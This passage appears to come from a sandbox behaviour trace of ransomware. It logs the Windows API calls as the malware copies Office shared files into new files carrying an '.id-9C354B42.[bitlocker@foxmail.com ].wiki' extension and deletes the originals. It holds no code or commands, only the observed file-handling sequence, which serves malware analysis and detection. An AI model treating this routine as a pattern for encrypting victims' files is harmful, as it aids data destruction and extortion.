lpNumberOfBytesWritten=0x378fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0195.303] SetEndOfFile (hFile=0x1f8) returned 1 [0195.303] CloseHandle (hObject=0x1f8) returned 1 [0195.303] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.303] SetEndOfFile (hFile=0x220) returned 1 [0195.304] CloseHandle (hObject=0x220) returned 1 [0195.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.304] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll")) returned 1 [0195.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0195.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0195.304] lstrlenW (lpString=".doc") returned 4 [0195.304] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0195.304] lstrlenW (lpString=".docx") returned 5 [0195.304] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0195.304] lstrlenW (lpString=".pdf") returned 4 [0195.304] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0195.305] lstrlenW (lpString=".xls") returned 4 [0195.305] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0195.305] lstrlenW (lpString=".xlsx") returned 5 [0195.305] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0195.305] lstrlenW (lpString=".ppt") returned 4 [0195.305] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0195.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0195.305] lstrlenW (lpString=".zip") returned 4 [0195.305] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0195.305] lstrlenW (lpString=".rar") returned 4 [0195.305] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0195.305] lstrlenW (lpString=".bz2") returned 4 [0195.305] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0195.305] lstrlenW (lpString=".7z") returned 3 [0195.305] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0195.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0195.305] lstrlenW (lpString=".dbf") returned 4 [0195.305] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0195.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0195.305] lstrlenW (lpString=".1cd") returned 4 [0195.305] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0195.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0195.305] lstrlenW (lpString=".jpg") returned 4 [0195.305] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0195.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0195.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0195.305] lstrlenW (lpString=".doc") returned 4 [0195.305] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0195.305] lstrlenW (lpString=".docx") returned 5 [0195.305] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0195.305] lstrlenW (lpString=".pdf") returned 4 [0195.305] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0195.305] lstrlenW (lpString=".xls") returned 4 [0195.306] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0195.306] lstrlenW (lpString=".xlsx") returned 5 [0195.306] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0195.306] lstrlenW (lpString=".ppt") returned 4 [0195.306] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0195.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0195.306] lstrlenW (lpString=".zip") returned 4 [0195.306] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0195.306] lstrlenW (lpString=".rar") returned 4 [0195.306] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0195.306] lstrlenW (lpString=".bz2") returned 4 [0195.306] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0195.306] lstrlenW (lpString=".7z") returned 3 [0195.306] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0195.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0195.306] lstrlenW (lpString=".dbf") returned 4 [0195.306] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0195.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0195.306] lstrlenW (lpString=".1cd") returned 4 [0195.306] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0195.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0195.306] lstrlenW (lpString=".jpg") returned 4 [0195.306] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0195.306] lstrcmpiW (lpString1=".CNV", lpString2=".wiki") returned -1 [0195.306] lstrlenW (lpString="WPFT532.CNV") returned 11 [0195.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.307] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=196976) returned 1 [0195.307] CloseHandle (hObject=0x220) returned 1 [0195.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv")) returned 0x20 [0195.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.307] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.307] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.308] GetLastError () returned 0x0 [0195.308] ReadFile (in: hFile=0x220, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x30170, lpOverlapped=0x0) returned 1 [0195.313] WriteFile (in: hFile=0x1f8, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x30180, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x30180, lpOverlapped=0x0) returned 1 [0195.317] ReadFile (in: hFile=0x220, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.317] WriteFile (in: hFile=0x1f8, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xea, lpOverlapped=0x0) returned 1 [0195.317] SetEndOfFile (hFile=0x1f8) returned 1 [0195.317] CloseHandle (hObject=0x1f8) returned 1 [0195.318] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.318] SetEndOfFile (hFile=0x220) returned 1 [0195.319] CloseHandle (hObject=0x220) returned 1 [0195.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.319] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv")) returned 1 [0195.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0195.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0195.320] lstrlenW (lpString=".doc") returned 4 [0195.320] lstrcmpiW (lpString1=".doc", lpString2=".CNV") returned 1 [0195.320] lstrlenW (lpString=".docx") returned 5 [0195.320] lstrcmpiW (lpString1=".docx", lpString2="2.CNV") returned -1 [0195.320] lstrlenW (lpString=".pdf") returned 4 [0195.320] lstrcmpiW (lpString1=".pdf", lpString2=".CNV") returned 1 [0195.320] lstrlenW (lpString=".xls") returned 4 [0195.320] lstrcmpiW (lpString1=".xls", lpString2=".CNV") returned 1 [0195.320] lstrlenW (lpString=".xlsx") returned 5 [0195.320] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNV") returned -1 [0195.320] lstrlenW (lpString=".ppt") returned 4 [0195.320] lstrcmpiW (lpString1=".ppt", lpString2=".CNV") returned 1 [0195.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0195.320] lstrlenW (lpString=".zip") returned 4 [0195.320] lstrcmpiW (lpString1=".zip", lpString2=".CNV") returned 1 [0195.320] lstrlenW (lpString=".rar") returned 4 [0195.320] lstrcmpiW (lpString1=".rar", lpString2=".CNV") returned 1 [0195.320] lstrlenW (lpString=".bz2") returned 4 [0195.320] lstrcmpiW (lpString1=".bz2", lpString2=".CNV") returned -1 [0195.320] lstrlenW (lpString=".7z") returned 3 [0195.320] lstrcmpiW (lpString1=".7z", lpString2="CNV") returned -1 [0195.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0195.320] lstrlenW (lpString=".dbf") returned 4 [0195.320] lstrcmpiW (lpString1=".dbf", lpString2=".CNV") returned 1 [0195.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0195.320] lstrlenW (lpString=".1cd") returned 4 [0195.321] lstrcmpiW (lpString1=".1cd", lpString2=".CNV") returned -1 [0195.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0195.321] lstrlenW (lpString=".jpg") returned 4 [0195.321] lstrcmpiW (lpString1=".jpg", lpString2=".CNV") returned 1 [0195.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0195.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0195.321] lstrlenW (lpString=".doc") returned 4 [0195.321] lstrcmpiW (lpString1=".doc", lpString2=".CNV") returned 1 [0195.321] lstrlenW (lpString=".docx") returned 5 [0195.321] lstrcmpiW (lpString1=".docx", lpString2="2.CNV") returned -1 [0195.321] lstrlenW (lpString=".pdf") returned 4 [0195.321] lstrcmpiW (lpString1=".pdf", lpString2=".CNV") returned 1 [0195.321] lstrlenW (lpString=".xls") returned 4 [0195.321] lstrcmpiW (lpString1=".xls", lpString2=".CNV") returned 1 [0195.321] lstrlenW (lpString=".xlsx") returned 5 [0195.321] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNV") returned -1 [0195.321] lstrlenW (lpString=".ppt") returned 4 [0195.321] lstrcmpiW (lpString1=".ppt", lpString2=".CNV") returned 1 [0195.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0195.321] lstrlenW (lpString=".zip") returned 4 [0195.321] lstrcmpiW (lpString1=".zip", lpString2=".CNV") returned 1 [0195.321] lstrlenW (lpString=".rar") returned 4 [0195.321] lstrcmpiW (lpString1=".rar", lpString2=".CNV") returned 1 [0195.321] lstrlenW (lpString=".bz2") returned 4 [0195.321] lstrcmpiW (lpString1=".bz2", lpString2=".CNV") returned -1 [0195.321] lstrlenW (lpString=".7z") returned 3 [0195.321] lstrcmpiW (lpString1=".7z", lpString2="CNV") returned -1 [0195.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0195.321] lstrlenW (lpString=".dbf") returned 4 [0195.321] lstrcmpiW (lpString1=".dbf", lpString2=".CNV") returned 1 [0195.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0195.322] lstrlenW (lpString=".1cd") returned 4 [0195.322] lstrcmpiW (lpString1=".1cd", lpString2=".CNV") returned -1 [0195.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0195.322] lstrlenW (lpString=".jpg") returned 4 [0195.322] lstrcmpiW (lpString1=".jpg", lpString2=".CNV") returned 1 [0195.322] lstrcmpiW (lpString1=".CNV", lpString2=".wiki") returned -1 [0195.322] lstrlenW (lpString="WPFT632.CNV") returned 11 [0195.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.322] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=289648) returned 1 [0195.322] CloseHandle (hObject=0x220) returned 1 [0195.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv")) returned 0x20 [0195.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.323] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.323] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.323] GetLastError () returned 0x0 [0195.323] ReadFile (in: hFile=0x220, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x46b70, lpOverlapped=0x0) returned 1 [0195.331] WriteFile (in: hFile=0x1f8, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x46b80, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x46b80, lpOverlapped=0x0) returned 1 [0195.536] ReadFile (in: hFile=0x220, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.536] WriteFile (in: hFile=0x1f8, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xea, lpOverlapped=0x0) returned 1 [0195.536] SetEndOfFile (hFile=0x1f8) returned 1 [0195.536] CloseHandle (hObject=0x1f8) returned 1 [0195.536] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.536] SetEndOfFile (hFile=0x220) returned 1 [0195.539] CloseHandle (hObject=0x220) returned 1 [0195.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.539] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv")) returned 1 [0195.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0195.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0195.539] lstrlenW (lpString=".doc") returned 4 [0195.540] lstrcmpiW (lpString1=".doc", lpString2=".CNV") returned 1 [0195.540] lstrlenW (lpString=".docx") returned 5 [0195.540] lstrcmpiW (lpString1=".docx", lpString2="2.CNV") returned -1 [0195.540] lstrlenW (lpString=".pdf") returned 4 [0195.540] lstrcmpiW (lpString1=".pdf", lpString2=".CNV") returned 1 [0195.540] lstrlenW (lpString=".xls") returned 4 [0195.540] lstrcmpiW (lpString1=".xls", lpString2=".CNV") returned 1 [0195.540] lstrlenW (lpString=".xlsx") returned 5 [0195.540] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNV") returned -1 [0195.540] lstrlenW (lpString=".ppt") returned 4 [0195.540] lstrcmpiW (lpString1=".ppt", lpString2=".CNV") returned 1 [0195.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0195.540] lstrlenW (lpString=".zip") returned 4 [0195.540] lstrcmpiW (lpString1=".zip", lpString2=".CNV") returned 1 [0195.540] lstrlenW (lpString=".rar") returned 4 [0195.540] lstrcmpiW (lpString1=".rar", lpString2=".CNV") returned 1 [0195.540] lstrlenW (lpString=".bz2") returned 4 [0195.540] lstrcmpiW (lpString1=".bz2", lpString2=".CNV") returned -1 [0195.540] lstrlenW (lpString=".7z") returned 3 [0195.540] lstrcmpiW (lpString1=".7z", lpString2="CNV") returned -1 [0195.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0195.540] lstrlenW (lpString=".dbf") returned 4 [0195.540] lstrcmpiW (lpString1=".dbf", lpString2=".CNV") returned 1 [0195.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0195.540] lstrlenW (lpString=".1cd") returned 4 [0195.540] lstrcmpiW (lpString1=".1cd", lpString2=".CNV") returned -1 [0195.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0195.540] lstrlenW (lpString=".jpg") returned 4 [0195.540] lstrcmpiW (lpString1=".jpg", lpString2=".CNV") returned 1 [0195.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0195.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0195.541] lstrlenW (lpString=".doc") returned 4 [0195.541] lstrcmpiW (lpString1=".doc", lpString2=".CNV") returned 1 [0195.541] lstrlenW (lpString=".docx") returned 5 [0195.541] lstrcmpiW (lpString1=".docx", lpString2="2.CNV") returned -1 [0195.541] lstrlenW (lpString=".pdf") returned 4 [0195.541] lstrcmpiW (lpString1=".pdf", lpString2=".CNV") returned 1 [0195.541] lstrlenW (lpString=".xls") returned 4 [0195.541] lstrcmpiW (lpString1=".xls", lpString2=".CNV") returned 1 [0195.541] lstrlenW (lpString=".xlsx") returned 5 [0195.541] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNV") returned -1 [0195.541] lstrlenW (lpString=".ppt") returned 4 [0195.541] lstrcmpiW (lpString1=".ppt", lpString2=".CNV") returned 1 [0195.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0195.541] lstrlenW (lpString=".zip") returned 4 [0195.541] lstrcmpiW (lpString1=".zip", lpString2=".CNV") returned 1 [0195.541] lstrlenW (lpString=".rar") returned 4 [0195.541] lstrcmpiW (lpString1=".rar", lpString2=".CNV") returned 1 [0195.541] lstrlenW (lpString=".bz2") returned 4 [0195.541] lstrcmpiW (lpString1=".bz2", lpString2=".CNV") returned -1 [0195.541] lstrlenW (lpString=".7z") returned 3 [0195.541] lstrcmpiW (lpString1=".7z", lpString2="CNV") returned -1 [0195.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0195.541] lstrlenW (lpString=".dbf") returned 4 [0195.541] lstrcmpiW (lpString1=".dbf", lpString2=".CNV") returned 1 [0195.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0195.541] lstrlenW (lpString=".1cd") returned 4 [0195.541] lstrcmpiW (lpString1=".1cd", lpString2=".CNV") returned -1 [0195.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0195.541] lstrlenW (lpString=".jpg") returned 4 [0195.541] lstrcmpiW (lpString1=".jpg", lpString2=".CNV") returned 1 [0195.542] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0195.542] lstrlenW (lpString="ARCTIC.INF") returned 10 [0195.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.107] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=513) returned 1 [0197.107] CloseHandle (hObject=0x220) returned 1 [0197.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf")) returned 0x20 [0197.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.107] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.107] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0197.108] GetLastError () returned 0x0 [0197.108] ReadFile (in: hFile=0x220, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x201, lpOverlapped=0x0) returned 1 [0197.109] WriteFile (in: hFile=0x1f4, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x210, lpOverlapped=0x0) returned 1 [0197.110] ReadFile (in: hFile=0x220, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.110] WriteFile (in: hFile=0x1f4, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0197.110] SetEndOfFile (hFile=0x1f4) returned 1 [0197.110] CloseHandle (hObject=0x1f4) returned 1 [0197.110] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.110] SetEndOfFile (hFile=0x220) returned 1 [0197.111] CloseHandle (hObject=0x220) returned 1 [0197.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.111] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf")) returned 1 